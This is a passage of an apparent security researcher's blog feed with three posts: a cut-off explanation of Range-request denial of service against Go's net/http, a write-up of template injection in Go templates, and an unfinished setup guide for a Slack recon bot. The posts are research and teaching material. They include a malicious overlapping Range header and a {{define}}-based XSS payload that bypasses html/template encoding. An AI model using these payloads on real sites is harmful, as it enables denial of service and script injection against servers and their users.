&lt;pre class=&quot;line-numbers language-html&quot; style=&quot;-webkit-hyphens: none; background-color: #eeeeee; border-color: rgb(61, 126, 154); border-style: solid; border-width: 0px 0px 0px 5px; box-sizing: border-box; caret-color: rgb(51, 51, 51); color: #333333; counter-reset: linenumber 0; direction: ltr; font-family: consolas, monaco, &amp;quot;andale mono&amp;quot;, monospace; font-size: 16px; letter-spacing: -0.04447999969124794px; line-height: 1.5; margin-bottom: 20px; max-width: 100%; overflow: auto; padding: 15px 15px 15px 3.8em; position: relative; tab-size: 4; text-shadow: none; width: 785.25px; word-break: normal; word-wrap: normal;&quot;&gt;&lt;code class=&quot;language-html&quot; style=&quot;-webkit-hyphens: none; background-color: transparent; background-position: 0px 0px; border-bottom-left-radius: 2px; border-bottom-right-radius: 2px; border-top-left-radius: 2px; border-top-right-radius: 2px; border: 0px; font-family: consolas, monaco, &amp;quot;andale mono&amp;quot;, &amp;quot;ubuntu mono&amp;quot;, monospace; font-size: 1em; line-height: 1.5; margin: 0px; padding: 0px; position: relative; tab-size: 4; text-shadow: none; white-space: inherit; word-break: normal; word-spacing: normal; word-wrap: normal;&quot;&gt;GET /static/cat.jpg HTTP/1.1
Host: www.test.com
Range: bytes=0-10,10-1024&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
The server will respond to this request by sending:&lt;/div&gt;
&lt;pre class=&quot;line-numbers language-html&quot; style=&quot;-webkit-hyphens: none; background-color: #eeeeee; border-color: rgb(61, 126, 154); border-style: solid; border-width: 0px 0px 0px 5px; box-sizing: border-box; caret-color: rgb(51, 51, 51); counter-reset: linenumber 0; direction: ltr; font-family: consolas, monaco, &amp;quot;andale mono&amp;quot;, monospace; font-size: 16px; letter-spacing: -0.04447999969124794px; line-height: 1.5; margin-bottom: 20px; max-width: 100%; overflow: auto; padding: 15px 15px 15px 3.8em; position: relative; tab-size: 4; text-shadow: none; width: 918.75px; word-break: normal; word-wrap: normal;&quot;&gt;&lt;code class=&quot;language-html&quot; style=&quot;-webkit-hyphens: none; background-color: transparent; background-position: 0px 0px; border-bottom-left-radius: 2px; border-bottom-right-radius: 2px; border-top-left-radius: 2px; border-top-right-radius: 2px; border: 0px; font-family: consolas, monaco, &amp;quot;andale mono&amp;quot;, &amp;quot;ubuntu mono&amp;quot;, monospace; font-size: 1em; line-height: 1.5; margin: 0px; padding: 0px; position: relative; tab-size: 4; text-shadow: none; white-space: inherit; word-break: normal; word-spacing: normal; word-wrap: normal;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;HTTP/1.1 206 Partial Content
Content-Type: multipart/byteranges; boundary=3d6b6a416f9b5
Content-Length: 282

--3d6b6a416f9b5
Content-Type: image/jpeg
Content-Range: bytes 0-10/1024
    &lt;/span&gt;&lt;span class=&quot;token tag&quot; style=&quot;border: 0px; margin: 0px; padding: 0px;&quot;&gt;&lt;b&gt;&lt;span class=&quot;token tag&quot; style=&quot;border: 0px; margin: 0px; padding: 0px;&quot;&gt;&lt;span class=&quot;token punctuation&quot; style=&quot;border: 0px; color: #999999; margin: 0px; padding: 0px;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #741b47;&quot;&gt;binary content here&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot; style=&quot;border: 0px; color: #999999; margin: 0px; padding: 0px;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;
--3d6b6a416f9b5
Content-Type: image/jpeg
Content-Range: bytes 10-1024/1024
    &lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #741b47;&quot;&gt;binary content here&lt;/span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;color: #333333;&quot;&gt;
--3d6b6a416f9b5--&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;
The attack&lt;/h2&gt;
&lt;div&gt;
RFC 7233 lays down the rules and semantics for use of range requests by servers and clients as well. If you scroll down to the &lt;a href=&quot;https://tools.ietf.org/html/rfc7233#section-6.1&quot; target=&quot;_blank&quot;&gt;Security Considerations&lt;/a&gt; section, you will see a small paragraph which says:&lt;/div&gt;
&lt;div&gt;
&amp;nbsp;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;newpage&quot; style=&quot;break-before: page;&quot;&gt;&lt;b&gt;&quot;   Unconstrained multiple range requests are susceptible to denial-of-
   service attacks because the effort required to request many
   overlapping ranges of the same data is tiny compared to the time,
   memory, and bandwidth consumed by attempting to serve the requested
   data in many parts.  Servers ought to ignore, coalesce, or reject
   egregious range requests, such as requests for more than two
   overlapping ranges or for many small ranges in a single set,
   particularly when the ranges are requested out of order for no
   apparent reason.  Multipart range requests are not designed to
   support random access.   &quot;&lt;/b&gt;&lt;/pre&gt;
&lt;pre class=&quot;newpage&quot; style=&quot;break-before: page;&quot;&gt;&lt;b&gt;
&lt;/b&gt;&lt;/pre&gt;
This is self-explanatory. Basically, if you request many overlapping ranges recursively, the server may try to parse EACH of these ranges individually, leading to a potential memory consumption, and eventually crashing the server.&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
An example malicious request for the cat.jpg file above would look like:&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;line-numbers language-html&quot; style=&quot;-webkit-hyphens: none; background-color: #eeeeee; border-color: rgb(61, 126, 154); border-style: solid; border-width: 0px 0px 0px 5px; box-sizing: border-box; caret-color: rgb(51, 51, 51); color: #333333; counter-reset: linenumber 0; direction: ltr; font-family: consolas, monaco, &amp;quot;andale mono&amp;quot;, monospace; font-size: 16px; letter-spacing: -0.04447999969124794px; line-height: 1.5; margin-bottom: 20px; max-width: 100%; overflow: auto; padding: 15px 15px 15px 3.8em; position: relative; tab-size: 4; text-shadow: none; width: 785.25px; word-break: normal; word-wrap: normal;&quot;&gt;&lt;code class=&quot;language-html&quot; style=&quot;-webkit-hyphens: none; background-color: transparent; background-position: 0px 0px; border-bottom-left-radius: 2px; border-bottom-right-radius: 2px; border-top-left-radius: 2px; border-top-right-radius: 2px; border: 0px; font-family: consolas, monaco, &amp;quot;andale mono&amp;quot;, &amp;quot;ubuntu mono&amp;quot;, monospace; font-size: 1em; line-height: 1.5; margin: 0px; padding: 0px; position: relative; tab-size: 4; text-shadow: none; white-space: inherit; word-break: normal; word-spacing: normal; word-wrap: normal;&quot;&gt;GET /static/cat.jpg HTTP/1.1
Host: www.test.com
Range: bytes=0-5,0-7,1-6,9-12,10-11,4-5,0-9,0-10,0-12,...&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;
If the server is vulnerable to the above attack, it creates pieces of a multipart response for each range specified. That eats up both memory and CPU on the server, and doing so tens or hundreds of times for multiple attacker connections is enough to exhaust the server resources and cause the DoS. The range requests in the attack are obviously not reasonable, but they are legal according to the HTTP specification. Apache and Squid have been found vulnerable to this attack in the past. (&lt;a href=&quot;https://lwn.net/Articles/456723/&quot; target=&quot;_blank&quot;&gt;reference here&lt;/a&gt;)&lt;/div&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;
Attacking Go's net/http&lt;/h2&gt;
&lt;div&gt;
Now that we know what a textbook RRDoS attack request looks like, let's try to reproduce it in Go's net/http package.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
We create a server with the following code:&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;table class=&quot;highlight tab-size js-file-line-container&quot; data-paste-markdown-skip=&quot;&quot; data-tab-size=&quot;8&quot; style=&quot;border-collapse: collapse; border-spacing: 0px; box-sizing: border-box; caret-color: rgb(36, 41, 46); color: #24292e; font-size: 14px; tab-size: 8;&quot;&gt;&lt;tbody style=&quot;box-sizing: border-box;&quot;&gt;
&lt;tr style=&quot;box-sizing: border-box;&quot;&gt;&lt;/tr&gt;
&lt;tr style=&quot;box-sizing: border-box;&quot;&gt;&lt;td class=&quot;blob-code blob-code-inner js-file-line highlighted&quot; id=&quot;LC17&quot; style=&quot;box-sizing: border-box; line-height: 20px; overflow: visible; padding: 0px 10px; position: relative; vertical-align: top; white-space: pre; word-wrap: normal;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span class=&quot;pl-s1&quot; style=&quot;box-sizing: border-box;&quot;&gt;-&lt;b style=&quot;font-style: italic;&quot;&gt; http&lt;/b&gt;&lt;/span&gt;&lt;b style=&quot;font-style: italic;&quot;&gt;.&lt;/b&gt;&lt;span class=&quot;pl-en&quot; style=&quot;box-sizing: border-box; color: #6f42c1; font-style: italic; font-weight: bold;&quot;&gt;Handle&lt;/span&gt;&lt;b style=&quot;font-style: italic;&quot;&gt;(&lt;/b&gt;&lt;span class=&quot;pl-s&quot; style=&quot;box-sizing: border-box; color: #032f62; font-style: italic; font-weight: bold;&quot;&gt;&quot;/static/&quot;&lt;/span&gt;&lt;b style=&quot;font-style: italic;&quot;&gt;, &lt;/b&gt;&lt;span class=&quot;pl-s1&quot; style=&quot;box-sizing: border-box; font-style: italic; font-weight: bold;&quot;&gt;http&lt;/span&gt;&lt;b style=&quot;font-style: italic;&quot;&gt;.&lt;/b&gt;&lt;span class=&quot;pl-en&quot; style=&quot;box-sizing: border-box; color: #6f42c1; font-style: italic; font-weight: bold;&quot;&gt;StripPrefix&lt;/span&gt;&lt;b style=&quot;font-style: italic;&quot;&gt;(&lt;/b&gt;&lt;span class=&quot;pl-s&quot; style=&quot;box-sizing: border-box; color: #032f62; font-style: italic; font-weight: bold;&quot;&gt;&quot;/static/&quot;&lt;/span&gt;&lt;b style=&quot;font-style: italic;&quot;&gt;, &lt;/b&gt;&lt;span class=&quot;pl-s1&quot; style=&quot;box-sizing: border-box; font-style: italic; font-weight: bold;&quot;&gt;http&lt;/span&gt;&lt;b style=&quot;font-style: italic;&quot;&gt;.&lt;/b&gt;&lt;span class=&quot;pl-en&quot; style=&quot;box-sizing: border-box; color: #6f42c1; font-style: italic; font-weight: bold;&quot;&gt;FileServer&lt;/span&gt;&lt;b style=&quot;font-style: italic;&quot;&gt;(&lt;/b&gt;&lt;span class=&quot;pl-s1&quot; style=&quot;box-sizing: border-box; font-style: italic; font-weight: bold;&quot;&gt;http&lt;/span&gt;&lt;b style=&quot;font-style: italic;&quot;&gt;.&lt;/b&gt;&lt;span class=&quot;pl-en&quot; style=&quot;box-sizing: border-box; color: #6f42c1; font-style: italic; font-weight: bold;&quot;&gt;Dir&lt;/span&gt;&lt;b style=&quot;font-style: italic;&quot;&gt;(&lt;/b&gt;&lt;span class=&quot;pl-s&quot; style=&quot;box-sizing: border-box; color: #032f62; font-style: italic; font-weight: bold;&quot;&gt;&quot;./&quot;&lt;/span&gt;&lt;b style=&quot;font-style: italic;&quot;&gt;))))&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
This simply serves any content inside the &lt;b&gt;/static/&lt;/b&gt; directory.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Now when we try to send a malicious range request to the &lt;b&gt;/static&lt;/b&gt; directory using a lot of concurrent threads, we are clearly able to see that the server lags out quite a lot in response to it. However, when we read the response that we finally get, we see that the server did NOT send a response to the Range request. It merely sends us the complete image file, without the multipart stuff.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
If this is happening, and the server isn't responding to the Range request, then why does the server take so much time to respond to the request?&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
The answer lies in the code written in Go for handling Range requests in the net/http/fs.go file.&lt;/div&gt;
&lt;script src=&quot;https://gist.github.com/t4kemyh4nd/e54d9382d4f2c1aaf5c018d72c73a2d5.js&quot;&gt;&lt;/script&gt;

&lt;br /&gt;
&lt;div&gt;
If you see, on line 10 of the above code, there indeed exists a check for this exact attack by use of the &lt;b&gt;sumRangesSize()&lt;/b&gt; function. Then why are we still getting uncontrolled memory consumption?&lt;br /&gt;
&lt;br /&gt;
So whats happening is, on line 2 of the above code, there is a function called &lt;b&gt;parseRange()&lt;/b&gt;, which is still parsing the Range request sent. If you look at the code for the &lt;b&gt;parseRange()&lt;/b&gt; function, it processes the values in the Range header, and simultaneously creates an array of type&amp;nbsp;&lt;b&gt;[]httpRange&lt;/b&gt;, whose length is equal to the different ranges specified in the Range header (eg. 1-5, 20-25 etc.) to hold the requested bytes.&lt;br /&gt;
&lt;script src=&quot;https://gist.github.com/t4kemyh4nd/770cdd9092bea1e5ecf769d399a9269e.js&quot;&gt;&lt;/script&gt;
Even though these bytes aren't pushed to the array, the array is still declared as a placeholder for these values, which takes up a lot of memory allocation.&lt;br /&gt;
&lt;br /&gt;
And this is why we see a rise in the memory consumption of the server, when sending a lot of these malicious Range requests on several concurrent threads to a server.&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
</description>
        <pubDate>Wed, 29 Jul 2020 06:06:00 +0000</pubDate>
        <link>//2020/07/range-request-dos-uncontrolled-memory</link>
        <guid isPermaLink="true">//2020/07/range-request-dos-uncontrolled-memory</guid>
        
        
      </item>
    
      <item>
        <title>[SSTI] Exploiting Go's template engine to get XSS</title>
        <description>&lt;div id=&quot;html&quot;&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;b&gt;&lt;i&gt;This vulnerability is an edge case of user data being passed directly into the template, and the exploit is a result of &lt;i&gt;not&lt;/i&gt; using the intended way of rendering templates in Go.&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;I recently started working with Go and decided to play around with it's in built packages for web related stuff. It's a very neat language which is easy to learn and implement. While looking at the web development side of the language, I came across the package for templates. My first thought was to see if I could get an SSTI to work in it, but sadly I couldn't find any resources online. Through some thorough reading of the templating documentation and some quirks, I was able to successfully achieve XSS. This blogpost signifies the process of finding and exploiting an SSTI in a server written in Go. &lt;br /&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;
Introduction to Go's templating engine&lt;/h2&gt;
Go provides two templating packages. One is text/template and the other is html/template. The text/template package has no protections for XSS or any kinds of HTML encoding whatsoever. This isn't suited for building web apps, but instead for use in different apps which don't require processing of HTML. The second package, html/template is basically the same as text/template, but with added security protections like HTML encoding and so on.&lt;br /&gt;
&lt;br /&gt;
For sake of understanding the exact templating used, the following code will be used to demonstrate further attacks:&lt;br /&gt;
&lt;script src=&quot;https://gist.github.com/t4kemyh4nd/5eb6cd1e6a3c872254502df9cc79a636.js&quot;&gt;&lt;/script&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;
Detecting and confirming&lt;/h2&gt;
Detecting SSTI in Go isn't as simple as sending {{7*7}} and checking for 49 in the source code. Our first step is going through the documentation to find behavior in templates that is native only to Go- this is done so as to confirm the backend language so that we can focus our payloads only in context of that language. The way to confirm that the template engine used in the backed is Go, following is a non-exhaustive list of payloads and their respective outputs:&lt;br /&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;{{ . }}&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;/h3&gt;
This will result in an output containing the data struct being passed as input to the template, which in our case is the user1 struct. This can be thought of as the equivalent of {{ self }} in other templating engines. The output in our case would be something like: {1 ameya@gmail.com ameya#123}&lt;br /&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;{{printf &quot;%s&quot; &quot;ssti&quot; }}&lt;/li&gt;
&lt;/ul&gt;
&lt;/h3&gt;
In case the above payload doesn't output anything, we can use this payload, which should simply output the string ssti in the response.&lt;br /&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;{{html &quot;ssti&quot;}}, {{js &quot;ssti&quot;}} etc.&lt;/li&gt;
&lt;/ul&gt;
&lt;/h3&gt;
These are a few other payloads which should output the string &quot;ssti&quot; without the trailing words &quot;js&quot; or &quot;html&quot;. You can refer to more keywords in the engine &lt;a href=&quot;https://golang.org/pkg/text/template&quot;&gt;here&lt;/a&gt;.&lt;br /&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;
Exploitation&lt;/h2&gt;
If you have confirmed the above payloads to match Go's behavior, you can now proceed to exploit it to achieve XSS. If the server is using the text/template package, XSS is very easy to achieve by simply providing your payload as input. However, that is not the case with html/template.&lt;br /&gt;
&lt;br /&gt;
When the server uses the html/template package, all HTML entities are encoded. So, in our case if you try to send &lt;b&gt;/?q={{&quot;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&quot;}}&lt;/b&gt;&amp;nbsp;the response will be rendered to &lt;b&gt;&amp;amp;lt;script&amp;amp;gt;alert(1)&amp;amp;lt;/script&amp;amp;gt;&lt;/b&gt;.&amp;nbsp;Even going through the documentation doesn't help much as there is no way to render any of our XSS payloads without the default encoding behavior. However, Go allows to DEFINE a whole template and then later call it.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;`{{define &quot;T1&quot;}}ONE{{end}}{{template &quot;T1&quot;}}`&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Using the above behavior, we can introduce an XSS payload in a template, and then get it rendered by simply calling it.&lt;br /&gt;
&lt;br /&gt;
The payload will be something like:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;`{{define &quot;T1&quot;}}&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;{{end}} {{template &quot;T1&quot;}}`&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
  Using this, you should be able to &lt;i&gt;exploit&lt;/i&gt; the inbuilt HTML encoder of the html/template package and successfully achieve XSS.&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
</description>
        <pubDate>Thu, 18 Jun 2020 09:48:00 +0000</pubDate>
        <link>//2020/06/ssti-breaking-gos-template-engine-to</link>
        <guid isPermaLink="true">//2020/06/ssti-breaking-gos-template-engine-to</guid>
        
        
      </item>
    
      <item>
        <title>Introducing Slacker: Monitoring subdomain additions in real time and automating directory scanning</title>
        <description>&lt;div id=&quot;html&quot;&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;H&lt;/span&gt;i everyone, this post signifies the release of Slacker- a Slack bot which alerts you about subdomain additions to assets in realtime, (and also enables you to schedule directory scanning for any websites you may wish to monitor), so you can get an advantage over other bounty hunters when it comes to continuous recon. In this blogpost I will show exactly how to setup the bot, which should take less than 25 minutes. Once you're done, you should get alerts in realtime of whenever a certificate is added, as shown below:&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;img border=&quot;0&quot; height=&quot;568&quot; src=&quot;https://3.bp.blogspot.com/-4wa5ppr5kMA/XqQAtQN3ZkI/AAAAAAAAA-A/Y0kUI3tqX9gRg2VXH0UlncO9xbnJ9NlvwCK4BGAYYCw/s640/Screenshot%2B2020-04-25%2Bat%2B2.49.44%2BPM.png&quot; width=&quot;640&quot; /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-weight: normal;&quot;&gt;
Requirements&lt;/span&gt;&lt;/h2&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Valid FB developer account&lt;/li&gt;
&lt;li&gt;Access to Slack API (bots, webhooks etc.)&lt;/li&gt;
&lt;li&gt;A valid domain you own&lt;/li&gt;
&lt;li&gt;Your own server (i.e. DigitalOcean, AWS instances etc.)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-weight: normal;&quot;&gt;Setting up the server&lt;/span&gt;&lt;/h2&gt;
&lt;div&gt;
&lt;ol style=&quot;text-align: left;&quot;&gt;
&lt;li style=&quot;text-align: left;&quot;&gt;Setup a free Cloudflare account, add your domains to it, and then point your domain name's A record to the server IP you own by following the instructions (the Cloudflare setup instructions are clear enough to follow), to enable SSL. If you don't have a domain, you can buy one for as low as 1$ a year from GoDaddy, eg. :&lt;a href=&quot;http://2.bp.blogspot.com/-spdvZQG_HYM/XqQVHxP8yGI/AAAAAAAAA_E/MHyuJb5R0HcGgrI73ndeDAWdKfDDAd6ZwCK4BGAYYCw/s1600/Screenshot%2B2020-04-25%2Bat%2B4.09.27%2BPM.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://2.bp.blogspot.com/-spdvZQG_HYM/XqQVHxP8yGI/AAAAAAAAA_E/MHyuJb5R0HcGgrI73ndeDAWdKfDDAd6ZwCK4BGAYYCw/s320/Screenshot%2B2020-04-25%2Bat%2B4.09.27%2BPM.png&quot; width=&quot;274&quot; /&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Clone&amp;nbsp;&lt;a href=&quot;https://github.com/t4kemyh4nd/Slacker&quot;&gt;https://github.com/t4kemyh4nd/Slacker&lt;/a&gt;&amp;nbsp;on your server.&lt;/li&gt;
&lt;li&gt;Install mongodb and dirsearch.&lt;/li&gt;
&lt;li&gt;Run &lt;i&gt;./install.sh &lt;/i&gt;then run &lt;i&gt;python listener.py &lt;/i&gt;in the recon-bot directory.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-weight: normal;&quot;&gt;Setting up certificate transparency webhooks from Facebook&lt;/span&gt;&lt;/h2&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
We'll be using Facebook's CT API to make this bot. You can read more about it &lt;a href=&quot;https://developers.facebook.com/docs/certificate-transparency-api#&quot;&gt;here&lt;/a&gt;.&lt;br /&gt;
&lt;ol style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Go to &lt;a href=&quot;https://developers.facebook.com/apps/&quot;&gt;https://developers.facebook.com/apps/&lt;/a&gt;, and create a new app. Fill in the required details etc.&lt;/li&gt;
&lt;li&gt;After this, you should be presented with a page with available developer products for use. Choose 'Webhooks' in that list.&lt;/li&gt;
&lt;li&gt;In options, select &quot;Certificate Transparency' as shown below, and click on &quot;Subscribe to this object&quot;.&lt;a href=&quot;https://1.bp.blogspot.com/-b2eeQyKDFkc/XqLj9rLG2yI/AAAAAAAAA8E/9MqLBBnxBiEadMl1LxH__DE5sorLtUDewCLcBGAsYHQ/s1600/Screenshot%2B2020-04-24%2Bat%2B6.31.19%2BPM.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; display: inline !important; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;728&quot; data-original-width=&quot;1308&quot; height=&quot;356&quot; src=&quot;https://1.bp.blogspot.com/-b2eeQyKDFkc/XqLj9rLG2yI/AAAAAAAAA8E/9MqLBBnxBiEadMl1LxH__DE5sorLtUDewCLcBGAsYHQ/s640/Screenshot%2B2020-04-24%2Bat%2B6.31.19%2BPM.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;In the following dialog box, enter the value of &quot;Callback URL&quot; as https://{your-domain-here}&lt;your-domain&gt;/subdomain-alert (remember to run listener.py on your server first) and a random value for the &quot;Verify Token&quot; field. You should now be able to save this subscription.&lt;/your-domain&gt;&lt;/li&gt;
&lt;li&gt;In order to receive alerts for real websites, you need to take your app Live. To do this, go to Settings &amp;gt; Basic, and enter the required details. To create a Privacy Policy URL for a website &amp;nbsp;go to &lt;a href=&quot;https://app.freeprivacypolicy.com/builder/start/free-privacy-policy&quot;&gt;https://app.freeprivacypolicy.com/builder/start/free-privacy-policy&lt;/a&gt;, and copy the generated link from there. After this, you should be able to take your app live.&lt;/li&gt;
&lt;li&gt;Get your FB App Access Token by issuing the following curl request:&amp;nbsp;curl -X GET &quot;https://graph.facebook.com/oauth/access_token?client_id={your-app-id}&amp;amp;client_secret={your-app-secret}&amp;amp;grant_type=client_credentials&quot;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-weight: normal;&quot;&gt;Setting up the Slack bot&lt;/span&gt;&lt;/h2&gt;
&lt;div&gt;
&lt;ol style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Got to&amp;nbsp;&lt;a href=&quot;https://api.slack.com/apps&quot;&gt;https://api.slack.com/apps&lt;/a&gt;&amp;nbsp;and create an app for your workspace.&lt;/li&gt;
&lt;li&gt;Create 2 channels in your workspace, namely #subdomain-alerts and #dirscan-alerts&lt;/li&gt;
&lt;li&gt;In your app settings, on the left hand side, go to &quot;OAuth and permissions&quot; and add the following permissions:&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://1.bp.blogspot.com/-H-drACEWNtE/XqLsd1GMI3I/AAAAAAAAA8k/dTuWX5noNmQe0i1UQMczZ1jpW3Onkr3gQCLcBGAsYHQ/s1600/Screenshot%2B2020-04-24%2Bat%2B7.10.25%2BPM.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;527&quot; data-original-width=&quot;670&quot; height=&quot;500&quot; src=&quot;https://1.bp.blogspot.com/-H-drACEWNtE/XqLsd1GMI3I/AAAAAAAAA8k/dTuWX5noNmQe0i1UQMczZ1jpW3Onkr3gQCLcBGAsYHQ/s640/Screenshot%2B2020-04-24%2Bat%2B7.10.25%2BPM.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;Now we need to add an incoming webhook. So on the left hand side again, go to the &quot;Incoming Webhooks&quot; option, and add a webhook for the #dirscan-alerts channel, as shown below. Note down the webhook URL.&lt;a href=&quot;https://1.bp.blogspot.com/-i6BwORviO8Y/XqLtlThnJ6I/AAAAAAAAA8w/WNy4matHUDMmktqW7p3RwrPG28epIKfwwCLcBGAsYHQ/s1600/Screenshot%2B2020-04-24%2Bat%2B7.15.22%2BPM.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;726&quot; data-original-width=&quot;1308&quot; height=&quot;352&quot; src=&quot;https://1.bp.blogspot.com/-i6BwORviO8Y/XqLtlThnJ6I/AAAAAAAAA8w/WNy4matHUDMmktqW7p3RwrPG28epIKfwwCLcBGAsYHQ/s640/Screenshot%2B2020-04-24%2Bat%2B7.15.22%2BPM.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;text-align: left;&quot;&gt;Now we have to add &quot;Slash commands&quot; for the bot, so that we can add, remove or monitor domains by simply sending messages to the bot using Slack itself. Go to the &quot;Slash Commands&quot; section in app settings, and add commands like shown below:&lt;a href=&quot;http://3.bp.blogspot.com/-lBFdCsmKUOE/XqQLIrCiWBI/AAAAAAAAA-M/BRkDC_Y0eYsk54r3yBruZ45E-g3nLpzdwCK4BGAYYCw/s1600/Screenshot%2B2020-04-25%2Bat%2B3.34.09%2BPM.png&quot; imageanchor=&quot;1&quot; style=&quot;text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;554&quot; src=&quot;https://3.bp.blogspot.com/-lBFdCsmKUOE/XqQLIrCiWBI/AAAAAAAAA-M/BRkDC_Y0eYsk54r3yBruZ45E-g3nLpzdwCK4BGAYYCw/s640/Screenshot%2B2020-04-25%2Bat%2B3.34.09%2BPM.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/li&gt;
